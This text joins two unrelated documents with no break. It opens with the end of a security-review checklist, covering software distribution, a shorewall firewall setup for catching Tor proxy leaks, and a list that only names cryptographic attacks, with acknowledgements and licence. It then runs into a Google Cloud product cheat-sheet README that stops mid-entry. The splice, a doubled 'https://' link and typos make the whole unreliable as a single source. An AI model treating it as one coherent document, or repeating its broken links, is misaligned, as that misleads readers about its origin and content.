https://romab.com/ironsuite/SBPL.html * http://securityevaluators.com/files/papers/apple-sandbox.pdf * Does the application allow itself to be fully proxied, with no network or DNS leaks, for use with Tor? See Appendix A. ## Secure Software Distribution & Install * Does the application provide safe defaults? * Does the application prevent the user from being able to proceed or change settings to make them unsafe? * Example: HSTS dictates a user is unable to bypass a certificate error * Is the application signed? * There are arguments about how Authenticode is more or less secure than PGP signatures. Does the project use *one* of them? Do they make an effort to encourage or teach people to validate the signature? * Is the software distributed in operating system package managers? * Are the operating systems' distributions up to date? * Does the project provide its own source repo users can add to the package manager? * Do the OS vendors apply patches that may reduce the security of the application? * Is the software distributed over HTTPS? * Even if the application includes a signature, HTTPS is an easy defense in depth practice * For the purposes intended (easy defense in depth), a self-signed certificate is insufficient * Is the software distributed to mirrors? Does the project have integrity checkers for the mirrors? * Does the application only allow patches greater than the current version to be applied? * This prevents vulnerable-but-validly-signed older versions from being applied. # Appendix A: Examining an Application for Proxy Leaks This provides methodology to set up your computer to alert on any traffic that doesn't go through tor. This is done by configuring a firewall to block all traffic except to pre-chosen Tor bridge nodes. The instrucitons presented are fore shorewall (which is an abstraction over IPTables.) A similar guide for IPTables [is posted by Lunar](https://people.debian.org/~lunar/blog/posts/tor_only_outgoing_firewall/) but it does not explicitly alert on traffic, only block it - you'll need to add the alerting. * Set up a tor bridge on another host in your network/on the internet * Boot your client/testing machine from a LiveCD * Install Tor, have it point to the bridge * Instructions for shorewall: * /etc/shorewall/zones: <true_pre> fw firewall net ipv4 </true_pre> * /etc/shorewall/interfaces <true_pre> net eth0 detect dhcp </true_pre> * /etc/shorewall/policy <true_pre> fw net DROP warn net fw DROP info </true_pre> * /etc/shorewall/rules <true_pre> ACCEPT $FW bridgeip tcp bridgeport </true_pre> * This should prevent anything from leaving your machine that doesn't go to that single port on that single ip over TCP. Tail your logs, and let your machine quiet down. Stop any ntp services, system updates, etc. Get it so your machine is sending no traffic. * Start up the application, use *every single feature* and make sure it's all being correctly proxied through tor. Anything that shows up in your logs is a leak. Investigate it. It's worth verifying that this setup correctly stops/logs UDP and ICMP. **Very Important**: This will not help you if the application sends de-anonymizing information (like external IP) over the Tor link. Other resources from the Tor community: * https://trac.torproject.org/projects/tor/wiki/doc/DnsResolver * https://trac.torproject.org/projects/tor/wiki/doc/Preventing_Tor_DNS_Leaks * https://trac.torproject.org/projects/tor/wiki/doc/PreventingDnsLeaksInTor * https://trac.torproject.org/projects/tor/wiki/doc/TorifyHOWTO * https://trac.torproject.org/projects/tor/wiki/doc/TransparentProxyLeaks # Appendix B: Cryptographic Attacks Cheat Sheet This list was largely derived from a collation done by Rafael Turner. * ECB * Block Swapping * Data Leakage * CBC * Watermarking * http://en.wikipedia.org/wiki/Watermarking_attack * Data modification leak * Malleability via bit flipping * Cut & Paste attack * http://books.google.com/books?id=UW3SS9P9hdEC&pg=PT99&lpg=PT107&ots=0VG3xbufOG&dq=CBC+%22cut+and+paste+attack%22 * Rearranging blocks. * Vaudenay's Oracle (BEAST Attack) * CTR * Counter reuse * Passki and Ritter's Oracle (CTR/CBC/OFB/CFB) * RSA * Fault Injection & Random Faults * Multiplicative property * Choosing common modulus N to serve multiple users. * Small decryption exponent d * Forward Search Attack * Coppersmith's Attack * Coppersmith's Short Pad Attack * Hastad's broadcast attack * Bleichenbacher's Attack on PKCS 1 * Kocher's Timing Attacks * Manger's oracle * Naive implementations * Franklin-Reiter Related Message Attack * Stream Cipher * Correlation Attack * Keyreuse * DH * Denial of service Attacks * Man in the Middle Attacks * Degenerate Message Attacks * Simple Exponents * Simple Substitution Attacks * Message Replay Attacks * Message Redirection * Attacks on Parameter Authentication * Timing Attacks * Small subgroup reduction * Reusing ephemeral keys * DSA * Fault Attacks * Misuse or leakage of per-message secret * ElGamal * Insecurity under a chosen ciphertext attack. * ECC * Fault Attacks * Side-Channel * Hashing * Non constant compares # Acknowledgements This document was primarily authored by Tom Ritter. It would be impossible to list the dozens of individuals whose teachings were used to create this document. Peer review of initial versions was provided by Peter Oehlert and Paul Youn of iSEC Partners, as well as David Goulet and Runa Sandvik. Additional feedback was provided by Philipp Winter and Michael Rogers. Finally, thanks to my employer, iSEC Partners, for sponsoring this work. # Licensing This work is licensed under a Creative Commons Attribution-ShareAlike 3.0 Unported License: http://creativecommons.org/licenses/by-sa/3.0/

# The Google Cloud Developer's Cheat Sheet Every product, feature and service in the Google Cloud family described in <=4 words (with liberal use of hyphens and slashes :smirk:) by the Google Developer Relations Team Check out the *NEW* [interactive version of the cheat sheet](https://goo.gle/GCdevelopercheatsheet) <img border="1" valign="middle" src="Map&list.gif"> Here are the downloadable versions as well: White background: [High-resolution PNG](Poster-hires.png) | [Medium-res PNG](Poster-medres.png) | [Low-res PNG](Poster-lowres.png)\ Dark background: [High-resolution PNG](DarkPoster-hires.png) | [Medium-res PNG](DarkPoster-medres.png) | [Low-res PNG](DarkPoster-lowres.png) Desktop Wallpapers: [16:9 (iMac, etc.)](Wallpaper-16-9.png) | [16:10 (Macbook Pro)](Wallpaper-16-10.png) | [4:3 (Older computers)](Wallpaper-4-3.png) | [3:2 (Pixelbook)](Wallpaper-3-2.png)\ <a target="_blank" href="DarkPoster-medres.png"><img border="1" alt="Google Cloud Developer's Cheat Sheet Poster Image" src="DarkPoster-lowres.png"></a> Text descriptions with links are below Suggestions for better descriptions? Missing products? Pull requests are welcome on README.md (this file). Feedback? <img width="40" valign="middle" src="https://storage.googleapis.com/gregsramblings-downloads/Twitter_Logo_Blue.png">[@pvergadia](https://twitter.com/pvergadia) or [@GoogleCloudTech](https://twitter.com/GoogleCloudTech). **Note:** This list only includes products that are publicly available. There are several products in pre-release/private-alpha that will not be included until they go public preview, beta or GA. Fun flashback - [here's the list of products in 2014](https://web.archive.org/web/20140702161745/https://cloud.google.com/products/) Many of these products have a [free tier](https://cloud.google.com/free/). There is also a [free trial](https://console.cloud.google.com/freetrial) that will enable you try almost everything. Many of these products have a [visual Google Cloud Sketchnote](https://goo.gle/gcpsketchnote) to provide you a one pager visual overview of what each of these products are and how you can use them. ---------------------------- # All Products ^{:link:-Product page} ^{:page_facing_up:-Documentation} ### Compute * **Cloud Functions**: Event-driven serverless functions [^:link:](https://cloud.google.com/functions/) [^{:page_facing_up:}](https://cloud.google.com/functions/docs/) * **App Engine**: Managed app platform [^:link:](https://cloud.google.com/appengine/) [^{:page_facing_up:}](https://cloud.google.com/appengine/docs/) * **Cloud Run**: Serverless for containerized applications [^:link:](https://cloud.google.com/run/) [^{:page_facing_up:}](https://cloud.google.com/run/docs/) * **Google Kubernetes Engine (GKE)**: Managed Kubernetes/containers [^:link:](https://cloud.google.com/kubernetes-engine/) [^{:page_facing_up:}](https://cloud.google.com/kubernetes-engine/docs/) * **Compute Engine**: VMs, GPUs, TPUs, Disks [^:link:](https://cloud.google.com/compute/) [^{:page_facing_up:}](https://cloud.google.com/compute/docs/) * **Bare Metal Solution**: Hardware for specialized workloads [^:link:](https://cloud.google.com/bare-metal) * **Preemptible VMs**: Short-lived compute instances [^:link:](https://cloud.google.com/preemptible-vms) [^{:page_facing_up:}](https://cloud.google.com/compute/docs/instances/preemptible) * **Shielded VMs**: Hardened VMs [^:link:](https://cloud.google.com/shielded-vm/) [^{:page_facing_up:}](https://cloud.google.com/security/shielded-cloud/shielded-vm/) * **Sole-tenant Nodes**: Dedicated physical servers [^:link:](https://cloud.google.com/sole-tenant-nodes) [^{:page_facing_up:}](https://cloud.google.com/compute/docs/nodes) * **VMware Engine**: VMware as a service [^:link:](https://cloud.google.com/vmware-engine) [^{:page_facing_up:}](https://cloud.google.com/vmware-engine/docs) ### Storage * **Cloud Filestore**: Managed NFS server [^:link:](https://cloud.google.com/filestore/) [^{:page_facing_up:}](https://cloud.google.com/filestore/docs/) * **Cloud Storage**: Multi-class multi-region object storage[^:link:](https://cloud.google.com/storage/) [^{:page_facing_up:}](https://cloud.google.com/storage/docs/) * **Persistent Disk**: Block storage for VMs [^:link:](https://cloud.google.com/persistent-disk/) [^{:page_facing_up:}](https://cloud.google.com/compute/docs/disks/) * **Local SSD**: VM locally attached SSDs [^:link:](https://cloud.google.com/local-ssd) [^{:page_facing_up:}](https://cloud.google.com/compute/docs/disks/local-ssd) ### Database * **Cloud Bigtable**: Petabyte-scale, low-latency, non-relational [^:link:](https://cloud.google.com/bigtable/) [^{:page_facing_up:}](https://cloud.google.com/bigtable/docs/) * **Cloud Firestore**: Serverless NoSQL document database [^:link:](https://cloud.google.com/firestore/) [^{:page_facing_up:}](https://cloud.google.com/firestore/docs/) * **Cloud Memorystore**: Managed Redis and Memcached [^:link:](https://cloud.google.com/memorystore/) [^{:page_facing_up:}](https://cloud.google.com/memorystore/docs/) * **Cloud Spanner**: Horizontally scalable relational database [^:link:](https://cloud.google.com/spanner/) [^{:page_facing_up:}](https://cloud.google.com/spanner/docs/) * **Cloud SQL**: Managed MySQL, PostgreSQL, SQL Server [^:link:](https://cloud.google.com/sql/) [^{:page_facing_up:}](https://cloud.google.com/sql/docs/) * **Database Migration Service**: Migrate to Cloud SQL [^:link:](https://cloud.google.com/database-migration) [^{:page_facing_up:}](https://cloud.google.com/database-migration/docs) * **Cloud SQL Insights**: SQL Inspector [^:link:](https://cloud.google.com/sql/docs/postgres/insights-overview) [^{:page_facing_up:}](https://cloud.google.com/sql/docs/postgres/using-insights) ### Data Analytics * **BigQuery**: Data warehouse and analytics [^:link:](https://cloud.google.com/bigquery/) [^{:page_facing_up:}](https://cloud.google.com/bigquery/docs/) * **BigQuery BI Engine**: In-memory analytics engine [^{:page_facing_up:}](https://cloud.google.com/bi-engine/docs/) * **BigQuery ML**: BigQuery model training/serving [^{:page_facing_up:}](https://cloud.google.com/bigquery-ml/docs/) * **BigQuery GIS**: BigQuery geospatial functions/support [^{:page_facing_up:}](https://cloud.google.com/bigquery/docs/gis) * **BigQuery Data Transfer Service**: Automated data ingestion service [^{:page_facing_up:}](https://cloud.google.com/bigquery-transfer/docs) * **Connected Sheets**: Spreadsheet interface for (big)data [^{:page_facing_up:}](https://cloud.google.com/bigquery/docs/connected-sheets) * **Cloud Composer**: Managed workflow orchestration service [^:link:](https://cloud.google.com/composer/) [^{:page_facing_up:}](https://cloud.google.com/composer/docs/) * **Cloud Data Fusion**: Graphically manage data pipelines [^:link:](https://cloud.google.com/data-fusion/) [^{:page_facing_up:}](https://cloud.google.com/data-fusion/docs/) * **Dataflow**: Stream/batch data processing [^:link:](https://cloud.google.com/dataflow/) [^{:page_facing_up:}](https://cloud.google.com/dataflow/docs/) * **Dataprep by Trifacta**: Visual data wrangling [^:link:](https://cloud.google.com/dataprep/) [^{:page_facing_up:}](https://cloud.google.com/dataprep/docs/) * **Dataproc**: Managed Spark and Hadoop [^:link:](https://cloud.google.com/dataproc/) [^{:page_facing_up:}](https://cloud.google.com/dataproc/docs/) * **Datastream**: Change data capture/replication service [^:link:](https://cloud.google.com/datastream) [^{:page_facing_up:}](https://cloud.google.com/datastream/docs) * **Pub/Sub**: Global real-time messaging [^:link:](https://cloud.google.com/pubsub/) [^{:page_facing_up:}](https://cloud.google.com/pubsub/docs/) * **Data Catalog**: Metadata management service [^:link:](https://cloud.google.com/data-catalog/) [^{:page_facing_up:}](https://cloud.google.com/data-catalog/docs/) * **Google Data Studio**: Collaborative data exploration/dashboarding [^:link:](https://datastudio.google.com/overview) [^{:page_facing_up:}](https://datastudio.google.com/overviewdocs/) * **Looker**: Enterprise BI and analytics [^:link:](https://cloud.google.com/looker) * **Public Datasets**: Hosted data in BigQuery[^{:page_facing_up:}](https://cloud.google.com/public-datasets) ### Hybrid and multi-cloud * **Anthos**: Enterprise hybrid/multi-cloud platform [^:link:](https://cloud.google.com/anthos/) [^{:page_facing_up:}](https://cloud.google.com/anthos/docs/) * **Anthos clusters**: Hybrid/on-premises GKE [^:link:](https://cloud.google.com/anthos/gke) [^{:page_facing_up:}](https://cloud.google.com/anthos/gke/docs/on-prem/) * **Anthos Config Management**:Policy and security automation [^:link:](https://cloud.google.com/anthos/config-management) [^{:page_facing_up:}](https://cloud.google.com/anthos-config-management/docs) * **Anthos Service Mesh**: Managed service mesh (Istio) [^:link:](https://cloud.google.com/anthos/service-mesh) [^{:page_facing_up:}](https://cloud.google.com/service-mesh/docs) * **Cloud Run for Anthos**: Serverless development for Anthos [^:link:](https://cloud.google.com/anthos/run) [^{:page_facing_up:}](https://cloud.google.com/run/docs/quickstarts/prebuilt-deploy-gke) * **Google Cloud Marketplace for Anthos**: Pre-configured containerized apps [^:link:](https://cloud.google.com/kubernetes-applications) [^{:page_facing_up:}](https://cloud.google.com/marketplace/docs/kubernetes-apps) * **Migrate for Anthos and GKE**: Migrate VMs to GKE [^:link:](https://cloud.google.com/migrate/anthos/) [^{:page_facing_up:}](https://cloud.google.com/migrate/anthos/docs/getting-started) * **Google Cloud's operations suite**: Monitoring, logging, troubleshooting [^:link:](https://cloud.google.com/products/operations) [^{:page_facing_up:}](https://cloud.google.com/stackdriver/docs) * **Traffic Director**: Service mesh traffic management [^:link:](https://cloud.google.com/traffic-director/) [^{:page_facing_up:}](https://cloud.google.com/traffic-director/docs/) * **Apigee API Management**: API management, development, security [^:link:](https://cloud.google.com/apigee) ### AI and ML * **Vertex AI**: Managed platform for ML [^:link:](https://cloud.google.com/ai-platform/) * **AutoML**: Custom low-code models [^{:page_facing_up:}](https://cloud.google.com/vertex-ai/docs/training/training) * **Vertex AI Data Labeling**: Data labeling by humans [^{:page_facing_up:}](https://cloud.google.com/data-labeling/docs/) * **Deep Learning VM Images**: Preconfigured VMs for deep learning [^:link:](https://cloud.google.com/deep-learning-vm/) [^{:page_facing_up:}](https://cloud.google.com/deep-learning-vm/docs/) * **Vertex AI Workbench**:Jupyter-based environment for Data Science [^:link:](https://cloud.google.com/vertex-ai-workbench) [^{:page_facing_up:}](https://cloud.google.com/vertex-ai/docs/workbench) * **Deep Learning Containers**: Preconfigured containers for deep learning [^:link:](https://cloud.google.com/ai-platform/deep-learning-containers/) [^{:page_facing_up:}](https://cloud.google.com/ai-platform/deep-learning-containers/docs/) * **Vertex AI Matching Engine**: Vector similarity searches [^:link:](https://cloud.google.com/vertex-ai/docs/matching-engine)[^{:page_facing_up:}](https://cloud.google.com/vertex-ai/docs/matching-engine) * **Vertex AI Pipelines**: Hosted ML workflows[^:link:](https://cloud.google.com/ai-platform/pipelines/) * **Vertex AI Predictions**: Autoscaled model serving [^{:page_facing_up:}](https://cloud.google.com/ai-platform/prediction/docs/overview) * **Vertex AI Training**: Distributed AI training [^{:page_facing_up:}](https://cloud.google.com/ai-platform/training/docs/overview) * **Vertex AI Edge Manager**: Deploy monitor edge inferences [^{:page_facing_up:}](https://https://cloud.google.com/vertex-ai/docs/) * **Vertex Explainable AI**: Understand ML model predictions [^:link:](https://cloud.google.com/vertex-ai/docs/explainable-ai/overview) [^{:page_facing_up:}](https://cloud.google.com/vertex-ai/docs/explainable-ai) * **Vertex AI Feature Store**: Managed ML feature repository [^:link:](https://cloud.google.com/vertex-ai/docs/featurestore) [^{:page_facing_up:}](https://cloud.google.com/vertex-ai/docs/featurestore/overview) * **Vertex ML Metadata**: Artifact, lineage, and execution tracking [^:link:](https://cloud.google.com/vertex-ai/docs/ml-metadata) [^{:page_facing_up:}](https://cloud.google.com/vertex-ai/docs/ml-metadata/introduction) * **Vertex AI Model Monitoring**: Monitor models for skew/drift [^:link:](https://cloud.google.com/vertex-ai/docs/model-monitoring) [^{:page_facing_up:}](https://cloud.google.com/vertex-ai/docs/model-monitoring/overview) * **Vertex AI Tensorboard**: Managed TensorBoard for ML-experiment Visualization [^:link:](https://cloud.google.com/vertex-ai/docs/experiments) [^{:page_facing_up:}](https://cloud.google.com/vertex-ai/docs/experiments/tensorboard-overview) * **Vertex AI Vizier**: black-box hyperparameter tuning [^:link:](https://cloud.google.com/vertex-ai/docs/vizier/overview) [^{:page_facing_up:}](https://cloud.google.com/vertex-ai/docs/vizier) * **Speech-To-Text**: Convert audio to text [^:link:](https://cloud.google.com/speech/) [^{:page_facing_up:}](https://cloud.google.com/speech/docs/) * **Talent Solutions**: Job search with ML [^:link:](https://cloud.google.com/job-discovery/) [^{:page_facing_up:}](https://cloud.google.com/job-discovery/docs/) * **Text-To-Speech**: Convert text to audio [^:link:](https://cloud.google.com/text-to-speech/) [^{:page_facing_up:}](https://cloud.google.com/text-to-speech/docs/) * **Cloud TPU**: Hardware acceleration for ML [^:link:](https://cloud.google.com/tpu/) [^{:page_facing_up:}](https://cloud.google.com/tpu/docs/) * **Cloud Translation**: Language detection and translation [^:link:](https://cloud.google.com/translate/) [^{:page_facing_up:}](https://cloud.google.com/translate/docs/) * **Cloud Video Intelligence API**: Scene-level video annotation [^:link:](https://cloud.google.com/video-intelligence/) [^{:page_facing_up:}](https://cloud.google.com/video-intelligence/docs/) * **Cloud Vision**: Image recognition and classification [^:link:](https://cloud.google.com/vision/) [^{:page_facing_up:}](https://cloud.google.com/vision/docs/) * **Contact Center AI**: AI in your contact center[^:link:](https://cloud.google.com/solutions/contact-center/) [^{:page_facing_up:}](https://cloud.google.com/solutions/contact-center/) * **Dialogflow**: Create conversational interfaces [^:link:](https://cloud.google.com/dialogflow-enterprise/) [^{:page_facing_up:}](https://cloud.google.com/dialogflow-enterprise/docs/) * **Document AI**: Analyze, classify, search documents [^:link:](https://cloud.google.com/solutions/document-understanding/) [^{:page_facing_up:}](https://cloud.google.com/document-understanding/docs/) * **Recommendations AI**: Create custom recommendations [^:link:](https://cloud.google.com/recommendations/) [^{:page_facing_up:}](https://cloud.google.com/recommendations-ai/docs/) * **Vision Product Search**: Visual search for products [^{:page_facing_up:}](https://cloud.google.com/vision/product-search/docs/) ### Networking * **Carrier Peering**: Peer through a carrier [^{:page_facing_up:}](https://cloud.google.com/interconnect/docs/how-to/carrier-peering) * **Direct Peering**: Peer with Google Cloud [^{:page_facing_up:}](https://cloud.google.com/interconnect/docs/how-to/direct-peering) * **Dedicated Interconnect**: Dedicated private network connection [^{:page_facing_up:}](https://cloud.google.com/interconnect/docs/details/dedicated) * **Partner Interconnect**: Connect on-prem network to VPC [^{:page_facing_up:}](https://cloud.google.com/interconnect/docs/concepts/partner-overview) * **Google Cloud Armor**: DDoS protection and WAF [^:link:](https://cloud.google.com/armor/) [^{:page_facing_up:}](https://cloud.google.com/armor/docs/) * **Cloud CDN**: Content delivery network [^:link:](https://cloud.google.com/cdn/) [^{:page_facing_up:}](https://cloud.google.com/cdn/docs/) * **Cloud DNS**: Programmable DNS serving [^:link:](https://cloud.google.com/dns/) [^{:page_facing_up:}](https://cloud.google.com/dns/docs/) * **Cloud Load Balancing**: Multi-region load distribution/balancing [^:link:](https://cloud.google.com/load-balancing/) [^{:page_facing_up:}](https://cloud.google.com/load-balancing/) * **Cloud NAT**: Network address translation service [^{:page_facing_up:}](https://cloud.google.com/nat/docs/overview/) * **Cloud Router**: VPC/on-prem network route exchange (BGP) [^{:page_facing_up:}](https://cloud.google.com/router/docs/) * **Cloud VPN**: Virtual private network connection[^{:page_facing_up:}](https://cloud.google.com/compute/docs/vpn/overview) * **Network Service Tiers**: Price versus performance tiering [^:link:](https://cloud.google.com/network-tiers/) [^{:page_facing_up:}](https://cloud.google.com/network-tiers/docs/) * **Network Telemetry**: Network telemetry service [^:link:](https://cloud.google.com/network-telemetry/) [^{:page_facing_up:}](https://cloud.google.com/vpc/docs/using-flow-logs/) * **Traffic Director**: Service mesh traffic management [^:link:](https://cloud.google.com/traffic-director/) [^{:page_facing_up:}](https://cloud.google.com/traffic-director/docs/) * **Anthos Service Mesh**: Service-aware network management [^:link:](https://cloud.google.com/service-mesh/) [^{:page_facing_up:}](https://cloud.google.com/trace/docs/) * **Virtual Private Cloud**: Software defined networking [^:link:](https://cloud.google.com/vpc/) [^{:page_facing_up:}](https://cloud.google.com/vpc/docs/) * **Cloud Domains**: Register, transfer, manager domains [^:link:](https://cloud.google.com/domains) [^{:page_facing_up:}](https://cloud.google.com/domains/docs/) * **VPC Service Controls**: Security perimeters for API-based services [^:link:](https://cloud.google.com/vpc-service-controls/) [^{:page_facing_up:}](https://cloud.google.com/vpc-service-controls/) * **Network Intelligence Center**: Network monitoring and topology [^:link:](https://cloud.google.com/network-intelligence-center/) [^{:page_facing_up:}](https://cloud.google.com/network-intelligence-center/docs/) * **Service Directory**: Centrally publish/discover/connect services [^:link:](https://cloud.google.com/service-directory) [^{:page_facing_up:}](https://cloud.google.com/service-directory/docs) * **Private Service Connect**: Privately connect services across VPCs [^:link:](https://cloud.google.com/service-directory) [^{:page_facing_up:}](https://cloud.google.com/vpc/docs/private-service-connect) * **Network Connectivity Center**: Connect VPC & On-prem [^:link:](https://cloud.google.com/network-connectivity-center) [^{:page_facing_up:}](https://cloud.google.com/network-connectivity/docs/network-connectivity-center) * **Packet Mirroring**: Monitor/analyze instance traffic [^{:page_facing_up:}](https://cloud.google.com/vpc/docs/packet-mirroring) * **Cloud IDS**: Detects network based threats [^:link:](https://cloud.google.com/intrusion-detection-system) [^{:page_facing_up:}](https://cloud.google.com/intrusion-detection-system/docs) ### Identity and Security * **Access Transparency**: Audit cloud provider access [^:link:](https://cloud.google.com/access-transparency/) [^{:page_facing_up:}](https://cloud.google.com/logging/docs/audit/access-transparency-overview/) * **Assured Workloads**: Workload compliance controls [^:link:](https://cloud.google.com/assured-workloads) [^{:page_facing_up:}](https://cloud.google.com/assured-workloads/docs) * **Binary Authorization**: Kubernetes deploy-time security [^:link:](https://cloud.google.com/binary-authorization/) [^{:page_facing_up:}](https://cloud.google.com/binary-authorization/docs/) * **Certificate Authority Service**: Managed private CAs [^:link:](https://cloud.google.com/certificate-authority-service) [^{:page_facing_up:}](https://cloud.google.com/certificate-authority-service/docs) * **Cloud Asset Inventory**: All assets, one place [^:link:](https://cloud.google.com/asset-inventory) [^{:page_facing_up:}](https://cloud.google.com/asset-inventory/docs/overview) * **Cloud Audit Logs**: Audit trails for Google Cloud [^:link:](https://cloud.google.com/audit-logs/) [^{:page_facing_up:}](https://cloud.google.com/logging/docs/audit/) * **Cloud Data Loss Prevention (DLP)**: Classify and redact sensitive data [^:link:](https://cloud.google.com/dlp/) [^{:page_facing_up:}](https://cloud.google.com/dlp/docs/) * **Cloud HSM**: Hardware security module service [^:link:](https://cloud.google.com/hsm/) [^{:page_facing_up:}](https://cloud.google.com/kms/docs/hsm/) * **Cloud External Key Manager (EKM)**: External keys you control [^:link:](https://cloud.google.com/ekm/) [^{:page_facing_up:}](https://cloud.google.com/kms/docs/ekm/) * **Cloud IAM**: Resource access control [^:link:](https://cloud.google.com/iam/) [^{:page_facing_up:}](https://cloud.google.com/iam/docs/) * **Cloud Identity**: Manage users, devices & apps [^:link:](https://cloud.google.com/identity/) [^{:page_facing_up:}](https://cloud.google.com/identity/solutions/overview/) * **Cloud Identity-Aware Proxy**: Identity-based app access [^:link:](https://cloud.google.com/iap/) [^{:page_facing_up:}](https://cloud.google.com/iap/docs/) * **Cloud Key Management Service**: Hosted key management service [^:link:](https://cloud.google.com/kms/) [^{:page_facing_up:}](https://cloud.google.com/kms/docs/) * **Resource Manager**: Cloud project metadata management [^:link:](https://cloud.google.com/resource-manager/) [^{:page_facing_up:}](https://cloud.google.com/resource-manager/docs/) * **Security Command Center**: Security management and data risk platform [^:link:](https://cloud.google.com/security-command-center/) [^{:page_facing_up:}](https://cloud.google.com/security-command-center/docs/) * **Web Security Scanner**: App engine security scanner [^:link:](https://cloud.google.com/security-scanner/) [^{:page_facing_up:}](https://cloud.google.com/security-scanner/docs/) * **Confidential Computing**: Encrypt data in-use [^:link:](https://cloud.google.com/confidential-computing) [^{:page_facing_up:}](https://cloud.google.com/confidential-computing/docs) * **Access Context Manager**: End-user attribute-based access control [^:link:](https://cloud.google.com/context-aware-access/) [^{:page_facing_up:}](https://cloud.google.com/iap/docs/cloud-iap-context-aware-access-howto/) * **Event Threat Detection**: Scans for suspicious activity [^:link:](https://cloud.google.com/event-threat-detection/) * **Managed Service for Microsoft Active Directory**: Managed Microsoft Active Directory [^:link:](https://cloud.google.com/managed-microsoft-ad/) [^{:page_facing_up:}](https://cloud.google.com/managed-microsoft-ad/docs/) * **Secret Manager**: Store and manage secrets [^:link:](https://cloud.google.com/secret-manager/) [^{:page_facing_up:}](https://cloud.google.com/secret-manager/docs/) * **Security Key Enforcement**: Two-step key verification [^:link:](https://cloud.google.com/security-key/) * **Shielded VMs**: Hardened VMs [^:link:](https://cloud.google.com/shielded-vm/) [^{:page_facing_up:}](https://cloud.google.com/security/shielded-cloud/shielded-vm/) * **Titan Security Key**: Two-factor authentication (2FA) device [^:link:](https://cloud.google.com/titan-security-key/) * **VPC Service Controls**: VPC data constraints [^:link:](https://cloud.google.com/vpc-service-controls/) [^{:page_facing_up:}](https://cloud.google.com/vpc-service-controls/docs/) * **Chronicle**: Find threats from security telemetry [^:link:](https://chronicle.security/products/platform/) * **VirusTotal**: Research/hunt for malware [^:link:](https://chronicle.security/products/virustotal/) * **Risk Manager**: Evaluate organization’s security posture [^:link:](https://cloud.google.com/risk-manager/docs) * **reCAPTCHA Enterprise**: Protection against bot/spam/abuse [^:link:](https://cloud.google.com/recaptcha-enterprise) [^{:page_facing_up:}](https://cloud.google.com/recaptcha-enterprise/docs/) * **BeyondCorp Enterprise**: Zero trust secure access [^:link:](https://cloud.google.com/beyondcorp-enterprise) [^{:page_facing_up:}](https://cloud.google.com/beyondcorp-enterprise/docs) * **Access Context Manager**: Fine-grained, attribute based access-control [^{:page_facing_up:}](https://cloud.google.com/access-context-manager/docs) * **Web Security Scanner**: Identifies web-app security vulnerabilities [^{:page_facing_up:}](https://cloud.google.com/security-command-center/docs/concepts-web-security-scanner-overview) ### Operations & Monitoring * **Cloud Debugger**: Live production debugging [^:link:](https://cloud.google.com/debugger/) [^{:page_facing_up:}](https://cloud.google.com/debugger/docs/) * **Error Reporting**: App error reporting [^:link:](https://cloud.google.com/error-reporting/) [^{:page_facing_up:}](https://cloud.google.com/error-reporting/docs/) * **Cloud Logging**: Centralized logging [^:link:](https://cloud.google.com/logging/) [^{:page_facing_up:}](https://cloud.google.com/logging/docs/) * **Cloud Monitoring**: Infrastructure and application monitoring [^:link:](https://cloud.google.com/monitoring/) [^{:page_facing_up:}](https://cloud.google.com/monitoring/docs/) * **Cloud Profiler**: CPU and heap profiling [^:link:](https://cloud.google.com/profiler/) [^{:page_facing_up:}](https://cloud.google.com/profiler/docs/) * **Cloud Trace**: App latency insights [^:link:](https://cloud.google.com/trace/) [^{:page_facing_up:}](https://cloud.google.com/trace/docs/) ### DevOps CI/CD * **Cloud Build**: Continuous integration/delivery platform [^:link:](https://cloud.google.com/cloud-build/) [^{:page_facing_up:}](https://cloud.google.com/cloud-build/docs/) * **Cloud Deploy**: Deployment pipeline for GKE [^:link:](https://cloud.google.com/deploy) [^{:page_facing_up:}](https://cloud.google.com/deploy/docs/) * **Artifact Registry**: Universal package manager [^:link:](https://cloud.google.com/artifacts/) [^{:page_facing_up:}](https://cloud.google.com/artifacts/) * **Cloud Source Repositories**: Hosted private git repos [^:link:](https://cloud.google.com/source-repositories/) [^{:page_facing_up:}](https://cloud.google.com/source-repositories/docs/) * **Container Registry**: Private container registry/storage [^:link:](https://cloud.google.com/container-registry/) [^{:page_facing_up:}](https://cloud.google.com/container-registry/docs/) ### Application Integration * **Eventarc**: Event-driven Cloud Run services [^:link:](https://cloud.google.com/eventarc/) [^{:page_facing_up:}](https://cloud.google.com/eventarc/docs/) * **Cloud Scheduler**: Managed cron job service [^:link:](https://cloud.google.com/scheduler/) [^{:page_facing_up:}](https://cloud.google.com/scheduler/docs/) * **Cloud Tasks**: Asynchronous task execution [^:link:](https://cloud.google.com/tasks/) [^{:page_facing_up:}](https://cloud.google.com/tasks/docs/) * **Workflows**: HTTP services orchestration [^:link:](https://cloud.google.com/workflows/) [^{:page_facing_up:}](https://cloud.google.com/workflows/docs/) * **Pub/Sub**: Global real-time messaging [^:link:](https://cloud.google.com/pubsub/) [^{:page_facing_up:}](https://cloud.google.com/pubsub/docs/) ### API Platform and Ecosystems * **API Analytics**: API metrics [^:link:](https://cloud.google.com/api-analytics/) * **API Monetization**: Monetize APIs [^:link:](https://cloud.google.com/api-monetization/) * **Apigee API Platform**: Develop, secure, monitor APIs [^:link:](https://cloud.google.com/apigee-api-management/) * **API Gateway**: Fully managed API Gateway [^:link:](https://cloud.google.com/api-gateway) * **Apigee Hybrid**: Manage hybrid/multi-cloud API environments [^:link:](https://cloud.google.com/apigee/api-management/hybrid/)[^{:page_facing_up:}](https://docs.apigee.com/hybrid/beta2) * **Apigee Sense**: API protection from attacks [^:link:](https://cloud.google.com/apigee-sense/) * **Cloud Endpoints**: Cloud API gateway [^:link:](https://cloud.google.com/endpoints/) * **Developer Portal**: API management portal [^:link:](https://cloud.google.com/developer-portal/) * **Marketplace**: Partner & open source marketplace [^:link:](https://cloud.google.com/marketplace/) * **AppSheet**: No-code App creation [^:link:](https://www.appsheet.com/) ### Internet of Things (IoT) * **Cloud IoT Core**: Manage devices, ingest data [^:link:](https://cloud.google.com/iot-core/) [^{:page_facing_up:}](https://cloud.google.com/iot-core/docs/) ### Gaming * **Google Cloud Game Servers**: Orchestrate Agones clusters [^:link:](https://cloud.google.com/game-servers) ### Healthcare * **Cloud Healthcare API**: Healthcare system Google Cloud interoperability [^:link:](https://cloud.google.com/healthcare-api/) * **Apigee Healthcare APIx**: Healthcare system Google Cloud interoperability [^:link:](https://cloud.google.com/solutions/apigee-health-apix) * **Healthcare Natural Language AI**: Real-time insights from media-text [^:link:](https://cloud.google.com/healthcare-api/docs/how-tos/nlp) * *Cloud Life Sciences**: Manage, process, transform biomedical-data 